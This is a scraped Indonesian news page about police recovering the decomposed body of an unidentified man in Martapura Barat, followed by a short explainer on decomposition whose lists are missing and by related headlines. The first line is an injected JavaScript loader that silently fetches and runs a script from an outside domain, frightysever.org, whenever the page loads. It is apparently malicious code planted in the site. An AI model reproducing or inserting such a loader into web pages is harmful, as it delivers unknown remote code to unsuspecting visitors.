(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Temuan sesosok mayat Mr X gegerkan warga transmigrasi desa Sungai Batang RT 01, Kecamatan Martapura Barat yang berbatasan dengan desa Cindai Alus. Selasa (20/2) sekitar pukul 02.30 Wita dinihari ada laporan warga akan adanya penemuan jasad seorang pria di tengah kebun atau rawa. Laporan itu ditindak lanjuti langsung jajaran Polsek Martapura Barat yang langsung mendatangi lokasi penemuan mayat Mr X.
Bhabinkamtibnas Bripka Dedy Handayadi mengatakan, adanya laporan mayat Mr X bermula dari warga yang sedang mencari burung pada pukul 02:30 Wita ke Ketua RW Desa Cindai Alus kemudian Ketua RW terkait adanya temuan mayat itu.
“Setelah mendapatkan laporan kami langsung berangkat ke TKP bersama dua rekan piket, dan kita lakukan langsung evakuasi terhadap mayat tak dikenali itu,†ujarnya.
Saat ditemukan, jasad Mr X tersebut ditemukan dalam keadaan posisi tengadah, pada sebagian tubuhnya sudah tidak utuh. Dan suudah mengeluarkan aroma bau busuk yang dikerumuni belatung, namun tidak ada tanda pengenal atau identitas yang didapat.
“Mr X karena kita tidak menemukan identitasnya, namun untuk jenis kelamin diperkirakan laki-laki dan berusia 35 tahun-an,†katanya.
Bhabinkamtibnas Bripka Dedy Handayadi memperkirakan jasad tersebut telah meninggal dunia sudah lebih dari sepekan. Saat ini jasad tersebut berada di Rumah Sakit Ratu Zalecha Martapura untuk dilakukan visum.
“Kita belum bisa memastikan apa penyebab kematiannya, diperkirakan sudah 10 hari. Kita tidak menerima laporan dari masyarakat tentang kehilangan anggota keluarga, tunggu saja nanti hasil visum dari dokter,†kata Dedy.
Ia menghimbau kepada masyarakat yang merasa kehilangan keluarga atau mengetahui identitas jasad tersebut dapat menghubungi Polsek Martapura Barat atau Polres Banjar.
Adapun ciri lain saat ditemukan :
1. Menggunakan baju kemeja warna coklat bergaris hitam merk alwafa dipakai terbalik.
2. Celana pendek kolor warna crem.
Sering kita dengar tentang penemuan mayat baik itu di darat maupun di dalam air, namun biasanya orang-orang yang berada di TKP langsung bisa mengatakan perkiraan berapa lama mayat tersebut. Perkiraan orang awam sering meleset tentang perkiraan usia mayat tersebut, karena saat seseorang sudah tidak bernyawa maka proses pembusukan sudah dimulai, namun ada beberapa hal yang perlu diketahui masyarakat bahwa TKP penemuan mayat tersebut memiliki faktor utama yang membuat cepat atau lambatnya proses pembusukan.
Pembusukan di darat :
Pembusukan di Air
Pembusukan pada jenazah yang berada di air terjadi lebih lambat daripada yang berada di darat. Proses pembusukan jenazah di medium air dapat dibagi dalam 6 tahap, yaitu:
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
This website uses cookies.